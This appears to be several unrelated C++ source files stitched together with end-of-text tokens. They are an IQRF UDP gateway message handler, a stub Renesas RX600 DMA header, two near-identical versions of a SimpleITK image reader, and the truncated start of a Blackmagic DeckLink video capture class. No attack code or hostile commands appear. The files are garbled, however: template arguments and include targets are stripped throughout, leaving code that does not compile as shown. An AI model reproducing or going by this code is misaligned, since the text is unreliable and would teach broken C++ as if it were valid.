FORM_HEX(iqrfMessage.data(), iqrfMessage.size()));\n \n std::basic_string udpMessage;\n std::basic_string message(iqrfMessage);\n encodeMessageUdp(message, udpMessage);\n udpMessage[cmd] = (unsigned char)IQRF_UDP_IQRF_SPI_DATA;\n m_toUdpMessageQueue->pushToQueue(udpMessage);\n \n \/\/std::basic_string udpMessage;\n \/\/encodeMessageUdp(iqrfMessage, udpMessage);\n \/\/m_toUdpMessageQueue->pushToQueue(udpMessage);\n return 0;\n}\n\nvoid MessageHandler::encodeMessageUdp(const ustring& message, ustring& udpMessage)\n{\n unsigned short dlen = (unsigned short)message.size();\n udpMessage.resize(IQRF_UDP_HEADER_SIZE + IQRF_UDP_CRC_SIZE, '\\0');\n udpMessage[gwAddr] = IQRF_UDP_GW_ADR;\n udpMessage[dlen_H] = (unsigned char)((dlen >> 8) & 0xFF);\n udpMessage[dlen_L] = (unsigned char)(dlen & 0xFF);\n\n udpMessage.insert(IQRF_UDP_HEADER_SIZE, message);\n\n uint16_t crc = GetCRC_CCITT((unsigned char*)udpMessage.data(), dlen + IQRF_UDP_HEADER_SIZE);\n udpMessage[dlen + IQRF_UDP_HEADER_SIZE] = (unsigned char)((crc >> 8) & 0xFF);\n udpMessage[dlen + IQRF_UDP_HEADER_SIZE + 1] = (unsigned char)(crc & 0xFF);\n}\n\nvoid MessageHandler::decodeMessageUdp(const ustring& udpMessage, ustring& message)\n{\n unsigned short dlen = 0;\n\n \/\/ Min. packet length check\n if (udpMessage.size() < IQRF_UDP_HEADER_SIZE + IQRF_UDP_CRC_SIZE)\n THROW_EX(UdpChannelException, \"Message is too short: \" << FORM_HEX(udpMessage.data(), udpMessage.size()));\n\n \/\/ GW_ADR check\n if (udpMessage[gwAddr] != IQRF_UDP_GW_ADR)\n THROW_EX(UdpChannelException, \"Message is has wrong GW_ADDR: \" << PAR_HEX(udpMessage[gwAddr]));\n\n \/\/iqrf data length\n dlen = (udpMessage[dlen_H] << 8) + udpMessage[dlen_L];\n\n \/\/ Max. packet length check\n if ((dlen + IQRF_UDP_HEADER_SIZE + IQRF_UDP_CRC_SIZE) > IQRF_UDP_BUFFER_SIZE)\n THROW_EX(UdpChannelException, \"Message is too long: \" << PAR(dlen));\n\n \/\/ CRC check\n unsigned short crc = (udpMessage[IQRF_UDP_HEADER_SIZE + dlen] << 8) + udpMessage[IQRF_UDP_HEADER_SIZE + dlen + 1];\n if (crc != GetCRC_CCITT((unsigned char*)udpMessage.data(), dlen + IQRF_UDP_HEADER_SIZE))\n THROW_EX(UdpChannelException, \"Message has wrong CRC\");\n\n message = udpMessage.substr(IQRF_UDP_HEADER_SIZE, dlen);\n}\n\nMessageHandler::MessageHandler(const std::string& iqrf_port_name, const std::string& remote_ip_port, const std::string& local_ip_port)\n :m_iqrfChannel(nullptr)\n , m_udpChannel(nullptr)\n , m_toUdpMessageQueue(nullptr)\n , m_toIqrfMessageQueue(nullptr)\n , m_iqrfPortName(iqrf_port_name)\n{\n m_remotePort = strtoul(remote_ip_port.c_str(), nullptr, 0);\n if (0 == m_remotePort || ULONG_MAX == m_remotePort)\n m_remotePort = 55000;\n m_localPort = strtoul(local_ip_port.c_str(), nullptr, 0);\n if (0 == m_localPort || ULONG_MAX == m_localPort)\n m_localPort = 55300;\n}\n\nMessageHandler::~MessageHandler()\n{\n}\n\nstd::basic_string MessageHandler::getGwIdent()\n{\n \/\/1. - GW type e.g.: �GW - ETH - 02A�\n \/\/2. - FW version e.g. : �2.50�\n \/\/3. - MAC address e.g. : �00 11 22 33 44 55�\n \/\/4. - TCP \/ IP Stack version e.g. : �5.42�\n \/\/5. - IP address of GW e.g. : �192.168.2.100�\n \/\/6. - Net BIOS Name e.g. : �iqrf_xxxx � 15 characters\n \/\/7. - IQRF module OS version e.g. : �3.06D�\n \/\/8. - Public IP address e.g. : �213.214.215.120�\n \/\/std::basic_ostringstream os;\n std::basic_ostringstream ostring;\n ostring <<\n \"\\x0D\\x0A\" << \"udp-daemon-01\" << \"\\x0D\\x0A\" <<\n \"2.50\" << \"\\x0D\\x0A\" <<\n \"00 11 22 33 44 55\" << \"\\x0D\\x0A\" <<\n \"5.42\" << \"\\x0D\\x0A\" <<\n \"192.168.1.11\" << \"\\x0D\\x0A\" <<\n \"iqrf_xxxx\" << \"\\x0D\\x0A\" <<\n \"3.06D\" << \"\\x0D\\x0A\" <<\n \"192.168.1.11\" << \"\\x0D\\x0A\";\n\n ustring res((unsigned char*)ostring.str().data(), ostring.str().size());\n \/\/TRC_DBG(\"retval:\" << PAR(res.size()) << std::endl << FORM_HEX(res.data(),res.size()));\n return res;\n}\n\nvoid MessageHandler::watchDog()\n{\n TRC_ENTER(\"\");\n m_running = true;\n try {\n start();\n while (m_running)\n {\n \/\/TODO\n \/\/watch worker threads\n std::this_thread::sleep_for(std::chrono::milliseconds(3000));\n }\n }\n catch (std::exception& e) {\n CATCH_EX(\"error\", std::exception, e);\n }\n\n stop();\n TRC_LEAVE(\"\");\n}\n\nvoid MessageHandler::start()\n{\n TRC_ENTER(\"\");\n size_t found = m_iqrfPortName.find(\"spi\");\n if (found != std::string::npos)\n m_iqrfChannel = ant_new IqrfSpiChannel(m_iqrfPortName);\n else\n m_iqrfChannel = ant_new IqrfCdcChannel(m_iqrfPortName);\n\n m_udpChannel = ant_new UdpChannel((unsigned short)m_remotePort, (unsigned short)m_localPort, IQRF_UDP_BUFFER_SIZE);\n\n \/\/Messages from IQRF are sent via MessageQueue to UDP channel\n m_toUdpMessageQueue = ant_new MessageQueue(m_udpChannel);\n\n \/\/Messages from UDP are sent via MessageQueue to IQRF channel\n m_toIqrfMessageQueue = ant_new MessageQueue(m_iqrfChannel);\n\n \/\/Received messages from IQRF channel are pushed to UDP MessageQueue\n m_iqrfChannel->registerReceiveFromHandler([&](const std::basic_string& msg) -> int {\n return handleMessageFromIqrf(msg); });\n\n \/\/Received messages from UDP channel are pushed to IQRF MessageQueue\n m_udpChannel->registerReceiveFromHandler([&](const std::basic_string& msg) -> int {\n return handleMessageFromUdp(msg); });\n\n std::cout << \"udp-daemon started\" << std::endl;\n TRC_LEAVE(\"\");\n}\n\nvoid MessageHandler::stop()\n{\n TRC_ENTER(\"\");\n std::cout << \"udp-daemon stops\" << std::endl;\n delete m_iqrfChannel;\n delete m_udpChannel;\n delete m_toUdpMessageQueue;\n delete m_toIqrfMessageQueue;\n TRC_LEAVE(\"\");\n}\n\nvoid MessageHandler::exit()\n{\n TRC_WAR(\"exiting ...\");\n std::cout << \"udp-daemon exits\" << std::endl;\n m_running = false;\n}\n<|endoftext|>"} {"text":"#pragma once\n\/\/=====================================================================\/\/\n\/*!\t@file\n\t@brief\tRX600 グループ DMACAa 定義\n @author 平松邦仁 (hira@rvf-rc45.net)\n\t@copyright\tCopyright (C) 2018 Kunihito Hiramatsu @n\n\t\t\t\tReleased under the MIT license @n\n\t\t\t\thttps:\/\/github.com\/hirakuni45\/RX\/blob\/master\/LICENSE\n*\/\n\/\/=====================================================================\/\/\n#include \"common\/io_utils.hpp\"\n#include \"RX600\/peripheral.hpp\"\n#include \"RX600\/icu.hpp\"\n\nnamespace device {\n\n\t\/\/+++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++\/\/\n\t\/*!\n\t\t@brief DMA コントローラ(DMACAa)\n\t\t@param[in]\tbase\tベース・アドレス\n\t*\/\n\t\/\/+++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++\/\/\n\ttemplate \n\tstruct dmaca_core_t {\n\n\n\t};\n\n\n\t\/\/+++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++\/\/\n\t\/*!\n\t\t@brief\tDMA コントローラ(DMACAa)\n\t\t@param[in]\tbase\tベース・アドレス\n\t\t@param[in]\tt\t\tペリフェラル型\n\t*\/\n\t\/\/+++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++\/\/\n\ttemplate \n\tstruct dmaca_t : public dmaca_core_t {\n\n\t};\n\n\ttypedef dmaca_t<0x00820000, peripheral::DMACA0> DMACA0;\n\ttypedef dmaca_t<0x00820040, peripheral::DMACA1> DMACA1;\n\ttypedef dmaca_t<0x00820080, peripheral::DMACA2> DMACA2;\n\ttypedef dmaca_t<0x008200C0, peripheral::DMACA3> DMACA3;\n\ttypedef dmaca_t<0x00820100, peripheral::DMACA4> DMACA4;\n\ttypedef dmaca_t<0x00820140, peripheral::DMACA5> DMACA5;\n\ttypedef dmaca_t<0x00820180, peripheral::DMACA6> DMACA6;\n\ttypedef dmaca_t<0x008201C0, peripheral::DMACA7> DMACA7;\n}\nremove: rename<|endoftext|>"} {"text":"\/*=========================================================================\n*\n* Copyright Insight Software Consortium\n*\n* Licensed under the Apache License, Version 2.0 (the \"License\");\n* you may not use this file except in compliance with the License.\n* You may obtain a copy of the License at\n*\n* http:\/\/www.apache.org\/licenses\/LICENSE-2.0.txt\n*\n* Unless required by applicable law or agreed to in writing, software\n* distributed under the License is distributed on an \"AS IS\" BASIS,\n* WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n* See the License for the specific language governing permissions and\n* limitations under the License.\n*\n*=========================================================================*\/\n\n#include \"sitkImageReaderBase.h\"\n#include \"sitkMacro.h\"\n#include \"sitkExceptionObject.h\"\n\n#include \n\n\/\/ Include the Transform IO here, so that the IO factory registration\n\/\/ will occur.\n#include \n#include \n\n#include \n\n#include \n#include \n#include \n#include \n\n\nnamespace itk {\nnamespace simple {\n\nImageReaderBase\n::~ImageReaderBase()\n{\n}\n\nImageReaderBase\n::ImageReaderBase()\n : m_OutputPixelType(sitkUnknown),\n m_LoadPrivateTags(false)\n{\n}\n\nstd::string\nImageReaderBase\n::ToString() const\n{\n std::ostringstream out;\n out << \" OutputPixelType: \";\n this->ToStringHelper(out, this->m_OutputPixelType) << std::endl;\n out << \" LoadPrivateTags: \";\n this->ToStringHelper(out, this->m_LoadPrivateTags) << std::endl;\n out << ProcessObject::ToString();\n return out.str();\n}\n\nitk::SmartPointer\nImageReaderBase\n::GetImageIOBase(const std::string &fileName)\n{\n itk::ImageIOBase::Pointer iobase =\n itk::ImageIOFactory::CreateImageIO( fileName.c_str(), itk::ImageIOFactory::ReadMode);\n\n\n if ( iobase.IsNull() )\n {\n if ( !itksys::SystemTools::FileExists( fileName.c_str() ) )\n {\n sitkExceptionMacro( \"The file \\\"\" << fileName << \"\\\" does not exist.\" );\n }\n\n if ( !bool(std::ifstream( fileName.c_str() )) )\n {\n sitkExceptionMacro( \"Unable to open \\\"\" << fileName << \"\\\" for reading.\" );\n }\n\n sitkExceptionMacro( \"Unable to determine ImageIO reader for \\\"\" << fileName << \"\\\"\" );\n }\n\n \/\/ Try additional parameters\n GDCMImageIO *ioGDCMImage = dynamic_cast(iobase.GetPointer());\n if (ioGDCMImage)\n {\n ioGDCMImage->SetLoadPrivateTags(this->m_LoadPrivateTags);\n }\n\n \/\/ Read the image information\n iobase->SetFileName( fileName );\n iobase->ReadImageInformation();\n\n\n return iobase;\n}\n\nImageReaderBase::Self&\nImageReaderBase\n::SetOutputPixelType( PixelIDValueEnum pixelID )\n{\n this->m_OutputPixelType = pixelID;\n return *this;\n}\n\nPixelIDValueEnum\nImageReaderBase\n::GetOutputPixelType( void ) const\n{\n return this->m_OutputPixelType;\n}\n\n\nImageReaderBase::Self&\nImageReaderBase\n::SetLoadPrivateTags(bool loadPrivateTags)\n{\n this->m_LoadPrivateTags = loadPrivateTags;\n return *this;\n}\n\nbool\nImageReaderBase\n::GetLoadPrivateTags() const\n{\n return this->m_LoadPrivateTags;\n}\n\nvoid\nImageReaderBase\n::LoadPrivateTagsOn()\n{\n this->SetLoadPrivateTags(true);\n}\n\nvoid\nImageReaderBase\n::LoadPrivateTagsOff()\n{\n this->SetLoadPrivateTags(false);\n}\n\n\nvoid\nImageReaderBase\n::GetPixelIDFromImageIO( const std::string &fileName,\n PixelIDValueType &outPixelType,\n unsigned int & outDimensions )\n{\n itk::ImageIOBase::Pointer iobase = this->GetImageIOBase(fileName);\n\n\n this->GetPixelIDFromImageIO(iobase, outPixelType, outDimensions);\n}\n\nvoid\nImageReaderBase\n::GetPixelIDFromImageIO( const ImageIOBase *iobase,\n PixelIDValueType &outPixelType,\n unsigned int & outDimensions )\n{\n\n \/\/ get output information about input image\n unsigned int dimension = iobase->GetNumberOfDimensions();\n itk::ImageIOBase::IOComponentType componentType = iobase->GetComponentType();\n itk::ImageIOBase::IOPixelType pixelType = iobase->GetPixelType();\n unsigned int numberOfComponents = iobase->GetNumberOfComponents();\n\n outDimensions = dimension;\n\n\n if (numberOfComponents == 1 &&\n ( pixelType == itk::ImageIOBase::SCALAR || pixelType == itk::ImageIOBase::COMPLEX ) )\n {\n outPixelType = this->ExecuteInternalReadScalar( componentType );\n return;\n }\n \/\/ we try to load anything else into a VectorImage\n else if (pixelType == itk::ImageIOBase::RGB ||\n pixelType == itk::ImageIOBase::RGBA ||\n pixelType == itk::ImageIOBase::VECTOR ||\n pixelType == itk::ImageIOBase::COVARIANTVECTOR ||\n pixelType == itk::ImageIOBase::FIXEDARRAY ||\n pixelType == itk::ImageIOBase::POINT ||\n pixelType == itk::ImageIOBase::OFFSET )\n {\n outPixelType = this->ExecuteInternalReadVector( componentType );\n return;\n }\n else if ( pixelType == itk::ImageIOBase::COMPLEX )\n {\n outPixelType = this->ExecuteInternalReadComplex( componentType );\n return;\n }\n else\n {\n sitkExceptionMacro( \"Unknown PixelType: \" << (int) componentType );\n }\n\n sitkExceptionMacro( \"Unable to load image.\" );\n}\n\nunsigned int\nImageReaderBase\n::GetDimensionFromImageIO( const itk::ImageIOBase* iobase, unsigned int i)\n{\n return iobase->GetDimensions(i);\n}\n\n\nunsigned int\nImageReaderBase\n::GetDimensionFromImageIO(const std::string &filename, unsigned int i)\n{\n itk::ImageIOBase::Pointer iobase = this->GetImageIOBase(filename);\n\n return this->GetDimensionFromImageIO(iobase.GetPointer(), i);\n}\n\n\nPixelIDValueType\nImageReaderBase\n::ExecuteInternalReadScalar( int componentType )\n{\n const unsigned int UnusedDimension = 2;\n\n switch(componentType)\n {\n case itk::ImageIOBase::CHAR:\n return ImageTypeToPixelIDValue< itk::Image >::Result;\n break;\n case itk::ImageIOBase::UCHAR:\n return ImageTypeToPixelIDValue< itk::Image >::Result;\n break;\n case itk::ImageIOBase::SHORT:\n return ImageTypeToPixelIDValue< itk::Image >::Result;\n break;\n case itk::ImageIOBase::USHORT:\n return ImageTypeToPixelIDValue< itk::Image >::Result;\n break;\n case itk::ImageIOBase::INT:\n return ImageTypeToPixelIDValue< itk::Image >::Result;\n break;\n case itk::ImageIOBase::UINT:\n return ImageTypeToPixelIDValue< itk::Image >::Result;\n break;\n case itk::ImageIOBase::LONG:\n if (sizeof(long) == 4 )\n return ImageTypeToPixelIDValue< itk::Image >::Result;\n else\n return ImageTypeToPixelIDValue< itk::Image >::Result;\n break;\n case itk::ImageIOBase::ULONG:\n if (sizeof(unsigned long) == 4 )\n return ImageTypeToPixelIDValue< itk::Image >::Result;\n else\n return ImageTypeToPixelIDValue< itk::Image >::Result;\n break;\n case itk::ImageIOBase::LONGLONG:\n return ImageTypeToPixelIDValue< itk::Image >::Result;\n break;\n case itk::ImageIOBase::ULONGLONG:\n return ImageTypeToPixelIDValue< itk::Image >::Result;\n break;\n case itk::ImageIOBase::FLOAT:\n return ImageTypeToPixelIDValue< itk::Image >::Result;\n break;\n case itk::ImageIOBase::DOUBLE:\n return ImageTypeToPixelIDValue< itk::Image >::Result;\n break;\n case itk::ImageIOBase::UNKNOWNCOMPONENTTYPE:\n default:\n assert( false ); \/\/ should never get here unless we forgot a type\n sitkExceptionMacro( \"Logic error!\" );\n }\n}\n\n\nPixelIDValueType\nImageReaderBase\n::ExecuteInternalReadComplex( int componentType )\n{\n const unsigned int UnusedDimension = 2;\n\n switch(componentType)\n {\n case itk::ImageIOBase::FLOAT:\n return ImageTypeToPixelIDValue< itk::Image, UnusedDimension> >::Result;\n break;\n case itk::ImageIOBase::DOUBLE:\n return ImageTypeToPixelIDValue< itk::Image, UnusedDimension> >::Result;\n break;\n case itk::ImageIOBase::UNKNOWNCOMPONENTTYPE:\n default:\n sitkExceptionMacro( \"Only Complex image with float and double are supported!\" );\n }\n}\n\nPixelIDValueType\nImageReaderBase\n::ExecuteInternalReadVector( int componentType )\n{\n const unsigned int UnusedDimension = 2;\n\n switch(componentType)\n {\n case itk::ImageIOBase::CHAR:\n return ImageTypeToPixelIDValue< itk::VectorImage >::Result;\n break;\n case itk::ImageIOBase::UCHAR:\n return ImageTypeToPixelIDValue< itk::VectorImage >::Result;\n break;\n case itk::ImageIOBase::SHORT:\n return ImageTypeToPixelIDValue< itk::VectorImage >::Result;\n break;\n case itk::ImageIOBase::USHORT:\n return ImageTypeToPixelIDValue< itk::VectorImage >::Result;\n break;\n case itk::ImageIOBase::INT:\n return ImageTypeToPixelIDValue< itk::VectorImage >::Result;\n break;\n case itk::ImageIOBase::UINT:\n return ImageTypeToPixelIDValue< itk::VectorImage >::Result;\n break;\n case itk::ImageIOBase::LONG:\n if (sizeof(long) == 4 )\n return ImageTypeToPixelIDValue< itk::VectorImage >::Result;\n else\n return ImageTypeToPixelIDValue< itk::VectorImage >::Result;\n break;\n case itk::ImageIOBase::ULONG:\n if (sizeof(unsigned long) == 4 )\n return ImageTypeToPixelIDValue< itk::VectorImage >::Result;\n else\n return ImageTypeToPixelIDValue< itk::VectorImage >::Result;\n break;\n case itk::ImageIOBase::LONGLONG:\n return ImageTypeToPixelIDValue< itk::VectorImage >::Result;\n break;\n case itk::ImageIOBase::ULONGLONG:\n return ImageTypeToPixelIDValue< itk::VectorImage >::Result;\n break;\n case itk::ImageIOBase::FLOAT:\n return ImageTypeToPixelIDValue< itk::VectorImage >::Result;\n break;\n case itk::ImageIOBase::DOUBLE:\n return ImageTypeToPixelIDValue< itk::VectorImage >::Result;\n break;\n case itk::ImageIOBase::UNKNOWNCOMPONENTTYPE:\n default:\n assert( false ); \/\/ should never get here unless we forgot a type\n sitkExceptionMacro( \"Logic error!\" );\n }\n}\n\n\n}\n}\nImprove error message with unexpected component type\/*=========================================================================\n*\n* Copyright Insight Software Consortium\n*\n* Licensed under the Apache License, Version 2.0 (the \"License\");\n* you may not use this file except in compliance with the License.\n* You may obtain a copy of the License at\n*\n* http:\/\/www.apache.org\/licenses\/LICENSE-2.0.txt\n*\n* Unless required by applicable law or agreed to in writing, software\n* distributed under the License is distributed on an \"AS IS\" BASIS,\n* WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n* See the License for the specific language governing permissions and\n* limitations under the License.\n*\n*=========================================================================*\/\n\n#include \"sitkImageReaderBase.h\"\n#include \"sitkMacro.h\"\n#include \"sitkExceptionObject.h\"\n\n#include \n\n\/\/ Include the Transform IO here, so that the IO factory registration\n\/\/ will occur.\n#include \n#include \n\n#include \n\n#include \n#include \n#include \n#include \n\n\nnamespace itk {\nnamespace simple {\n\nImageReaderBase\n::~ImageReaderBase()\n{\n}\n\nImageReaderBase\n::ImageReaderBase()\n : m_OutputPixelType(sitkUnknown),\n m_LoadPrivateTags(false)\n{\n}\n\nstd::string\nImageReaderBase\n::ToString() const\n{\n std::ostringstream out;\n out << \" OutputPixelType: \";\n this->ToStringHelper(out, this->m_OutputPixelType) << std::endl;\n out << \" LoadPrivateTags: \";\n this->ToStringHelper(out, this->m_LoadPrivateTags) << std::endl;\n out << ProcessObject::ToString();\n return out.str();\n}\n\nitk::SmartPointer\nImageReaderBase\n::GetImageIOBase(const std::string &fileName)\n{\n itk::ImageIOBase::Pointer iobase =\n itk::ImageIOFactory::CreateImageIO( fileName.c_str(), itk::ImageIOFactory::ReadMode);\n\n\n if ( iobase.IsNull() )\n {\n if ( !itksys::SystemTools::FileExists( fileName.c_str() ) )\n {\n sitkExceptionMacro( \"The file \\\"\" << fileName << \"\\\" does not exist.\" );\n }\n\n if ( !bool(std::ifstream( fileName.c_str() )) )\n {\n sitkExceptionMacro( \"Unable to open \\\"\" << fileName << \"\\\" for reading.\" );\n }\n\n sitkExceptionMacro( \"Unable to determine ImageIO reader for \\\"\" << fileName << \"\\\"\" );\n }\n\n \/\/ Try additional parameters\n GDCMImageIO *ioGDCMImage = dynamic_cast(iobase.GetPointer());\n if (ioGDCMImage)\n {\n ioGDCMImage->SetLoadPrivateTags(this->m_LoadPrivateTags);\n }\n\n \/\/ Read the image information\n iobase->SetFileName( fileName );\n iobase->ReadImageInformation();\n\n\n return iobase;\n}\n\nImageReaderBase::Self&\nImageReaderBase\n::SetOutputPixelType( PixelIDValueEnum pixelID )\n{\n this->m_OutputPixelType = pixelID;\n return *this;\n}\n\nPixelIDValueEnum\nImageReaderBase\n::GetOutputPixelType( void ) const\n{\n return this->m_OutputPixelType;\n}\n\n\nImageReaderBase::Self&\nImageReaderBase\n::SetLoadPrivateTags(bool loadPrivateTags)\n{\n this->m_LoadPrivateTags = loadPrivateTags;\n return *this;\n}\n\nbool\nImageReaderBase\n::GetLoadPrivateTags() const\n{\n return this->m_LoadPrivateTags;\n}\n\nvoid\nImageReaderBase\n::LoadPrivateTagsOn()\n{\n this->SetLoadPrivateTags(true);\n}\n\nvoid\nImageReaderBase\n::LoadPrivateTagsOff()\n{\n this->SetLoadPrivateTags(false);\n}\n\n\nvoid\nImageReaderBase\n::GetPixelIDFromImageIO( const std::string &fileName,\n PixelIDValueType &outPixelType,\n unsigned int & outDimensions )\n{\n itk::ImageIOBase::Pointer iobase = this->GetImageIOBase(fileName);\n\n\n this->GetPixelIDFromImageIO(iobase, outPixelType, outDimensions);\n}\n\nvoid\nImageReaderBase\n::GetPixelIDFromImageIO( const ImageIOBase *iobase,\n PixelIDValueType &outPixelType,\n unsigned int & outDimensions )\n{\n\n \/\/ get output information about input image\n unsigned int dimension = iobase->GetNumberOfDimensions();\n itk::ImageIOBase::IOComponentType componentType = iobase->GetComponentType();\n itk::ImageIOBase::IOPixelType pixelType = iobase->GetPixelType();\n unsigned int numberOfComponents = iobase->GetNumberOfComponents();\n\n outDimensions = dimension;\n\n\n if (numberOfComponents == 1 &&\n ( pixelType == itk::ImageIOBase::SCALAR || pixelType == itk::ImageIOBase::COMPLEX ) )\n {\n outPixelType = this->ExecuteInternalReadScalar( componentType );\n return;\n }\n \/\/ we try to load anything else into a VectorImage\n else if (pixelType == itk::ImageIOBase::RGB ||\n pixelType == itk::ImageIOBase::RGBA ||\n pixelType == itk::ImageIOBase::VECTOR ||\n pixelType == itk::ImageIOBase::COVARIANTVECTOR ||\n pixelType == itk::ImageIOBase::FIXEDARRAY ||\n pixelType == itk::ImageIOBase::POINT ||\n pixelType == itk::ImageIOBase::OFFSET )\n {\n outPixelType = this->ExecuteInternalReadVector( componentType );\n return;\n }\n else if ( pixelType == itk::ImageIOBase::COMPLEX )\n {\n outPixelType = this->ExecuteInternalReadComplex( componentType );\n return;\n }\n else\n {\n sitkExceptionMacro( \"Unknown PixelType: \"\n << itk::ImageIOBase::GetComponentTypeAsString(componentType)\n << \"(\" <<(int) componentType << \")\" );\n }\n\n sitkExceptionMacro( \"Unable to load image.\" );\n}\n\nunsigned int\nImageReaderBase\n::GetDimensionFromImageIO( const itk::ImageIOBase* iobase, unsigned int i)\n{\n return iobase->GetDimensions(i);\n}\n\n\nunsigned int\nImageReaderBase\n::GetDimensionFromImageIO(const std::string &filename, unsigned int i)\n{\n itk::ImageIOBase::Pointer iobase = this->GetImageIOBase(filename);\n\n return this->GetDimensionFromImageIO(iobase.GetPointer(), i);\n}\n\n\nPixelIDValueType\nImageReaderBase\n::ExecuteInternalReadScalar( int componentType )\n{\n const unsigned int UnusedDimension = 2;\n\n switch(componentType)\n {\n case itk::ImageIOBase::CHAR:\n return ImageTypeToPixelIDValue< itk::Image >::Result;\n break;\n case itk::ImageIOBase::UCHAR:\n return ImageTypeToPixelIDValue< itk::Image >::Result;\n break;\n case itk::ImageIOBase::SHORT:\n return ImageTypeToPixelIDValue< itk::Image >::Result;\n break;\n case itk::ImageIOBase::USHORT:\n return ImageTypeToPixelIDValue< itk::Image >::Result;\n break;\n case itk::ImageIOBase::INT:\n return ImageTypeToPixelIDValue< itk::Image >::Result;\n break;\n case itk::ImageIOBase::UINT:\n return ImageTypeToPixelIDValue< itk::Image >::Result;\n break;\n case itk::ImageIOBase::LONG:\n if (sizeof(long) == 4 )\n return ImageTypeToPixelIDValue< itk::Image >::Result;\n else\n return ImageTypeToPixelIDValue< itk::Image >::Result;\n break;\n case itk::ImageIOBase::ULONG:\n if (sizeof(unsigned long) == 4 )\n return ImageTypeToPixelIDValue< itk::Image >::Result;\n else\n return ImageTypeToPixelIDValue< itk::Image >::Result;\n break;\n case itk::ImageIOBase::LONGLONG:\n return ImageTypeToPixelIDValue< itk::Image >::Result;\n break;\n case itk::ImageIOBase::ULONGLONG:\n return ImageTypeToPixelIDValue< itk::Image >::Result;\n break;\n case itk::ImageIOBase::FLOAT:\n return ImageTypeToPixelIDValue< itk::Image >::Result;\n break;\n case itk::ImageIOBase::DOUBLE:\n return ImageTypeToPixelIDValue< itk::Image >::Result;\n break;\n case itk::ImageIOBase::UNKNOWNCOMPONENTTYPE:\n default:\n assert( false ); \/\/ should never get here unless we forgot a type\n sitkExceptionMacro( \"Logic error!\" );\n }\n}\n\n\nPixelIDValueType\nImageReaderBase\n::ExecuteInternalReadComplex( int componentType )\n{\n const unsigned int UnusedDimension = 2;\n\n switch(componentType)\n {\n case itk::ImageIOBase::FLOAT:\n return ImageTypeToPixelIDValue< itk::Image, UnusedDimension> >::Result;\n break;\n case itk::ImageIOBase::DOUBLE:\n return ImageTypeToPixelIDValue< itk::Image, UnusedDimension> >::Result;\n break;\n case itk::ImageIOBase::UNKNOWNCOMPONENTTYPE:\n default:\n sitkExceptionMacro( \"Only Complex image with float and double are supported!\" );\n }\n}\n\nPixelIDValueType\nImageReaderBase\n::ExecuteInternalReadVector( int componentType )\n{\n const unsigned int UnusedDimension = 2;\n\n switch(componentType)\n {\n case itk::ImageIOBase::CHAR:\n return ImageTypeToPixelIDValue< itk::VectorImage >::Result;\n break;\n case itk::ImageIOBase::UCHAR:\n return ImageTypeToPixelIDValue< itk::VectorImage >::Result;\n break;\n case itk::ImageIOBase::SHORT:\n return ImageTypeToPixelIDValue< itk::VectorImage >::Result;\n break;\n case itk::ImageIOBase::USHORT:\n return ImageTypeToPixelIDValue< itk::VectorImage >::Result;\n break;\n case itk::ImageIOBase::INT:\n return ImageTypeToPixelIDValue< itk::VectorImage >::Result;\n break;\n case itk::ImageIOBase::UINT:\n return ImageTypeToPixelIDValue< itk::VectorImage >::Result;\n break;\n case itk::ImageIOBase::LONG:\n if (sizeof(long) == 4 )\n return ImageTypeToPixelIDValue< itk::VectorImage >::Result;\n else\n return ImageTypeToPixelIDValue< itk::VectorImage >::Result;\n break;\n case itk::ImageIOBase::ULONG:\n if (sizeof(unsigned long) == 4 )\n return ImageTypeToPixelIDValue< itk::VectorImage >::Result;\n else\n return ImageTypeToPixelIDValue< itk::VectorImage >::Result;\n break;\n case itk::ImageIOBase::LONGLONG:\n return ImageTypeToPixelIDValue< itk::VectorImage >::Result;\n break;\n case itk::ImageIOBase::ULONGLONG:\n return ImageTypeToPixelIDValue< itk::VectorImage >::Result;\n break;\n case itk::ImageIOBase::FLOAT:\n return ImageTypeToPixelIDValue< itk::VectorImage >::Result;\n break;\n case itk::ImageIOBase::DOUBLE:\n return ImageTypeToPixelIDValue< itk::VectorImage >::Result;\n break;\n case itk::ImageIOBase::UNKNOWNCOMPONENTTYPE:\n default:\n assert( false ); \/\/ should never get here unless we forgot a type\n sitkExceptionMacro( \"Logic error!\" );\n }\n}\n\n\n}\n}\n<|endoftext|>"} {"text":"#include \"blackmagicsdk_video_source.h\"\n#include \"deck_link_display_mode_detector.h\"\n#include \n\nnamespace gg\n{\n\nVideoSourceBlackmagicSDK::VideoSourceBlackmagicSDK()\n : IVideoSource()\n , _frame_rate(0.0)\n , _video_buffer(nullptr)\n , _video_buffer_length(0)\n , _cols(0)\n , _rows(0)\n , _buffer_video_frame(VideoFrame(UYVY))\n , _running(false)\n{\n \/\/ nop\n}\n\n\nVideoSourceBlackmagicSDK::VideoSourceBlackmagicSDK(size_t deck_link_index,\n ColourSpace colour)\n : IVideoSource(colour)\n , _frame_rate(0.0)\n , _video_buffer(nullptr)\n , _video_buffer_length(0)\n , _cols(0)\n , _rows(0)\n , _buffer_video_frame(VideoFrame(colour, false)) \/\/ TODO manage data?\n , _deck_link(nullptr)\n , _deck_link_input(nullptr)\n , _video_input_flags(bmdVideoInputFlagDefault | bmdVideoInputDualStream3D)\n , _12_bit_rgb_to_bgra_converter(nullptr)\n , _bgra_frame_buffers({nullptr, nullptr})\n , _running(false)\n{\n \/\/ Pixel format, i.e. colour space\n BMDPixelFormat pixel_format;\n switch(_colour)\n {\n case UYVY:\n pixel_format = bmdFormat8BitYUV;\n break;\n case BGRA:\n pixel_format = bmdFormat8BitBGRA;\n break;\n case I420:\n default:\n bail(\"BlackmagicSDK video source supports only UYVY and BGRA colour spaces\");\n }\n\n \/\/ Get an iterator through the available DeckLink ports\n IDeckLinkIterator * deck_link_iterator = CreateDeckLinkIteratorInstance();\n if (deck_link_iterator == nullptr)\n bail(\"DeckLink drivers do not appear to be installed\");\n\n HRESULT res;\n\n \/\/ Get the desired DeckLink index (port)\n int idx = deck_link_index;\n while ((res = deck_link_iterator->Next(&_deck_link)) == S_OK)\n {\n if (idx == 0)\n break;\n --idx;\n\n _deck_link->Release();\n }\n if (deck_link_iterator != nullptr)\n deck_link_iterator->Release();\n \/\/ No glory: release everything and throw exception\n if (res != S_OK or _deck_link == nullptr)\n bail(\n std::string(\"Could not 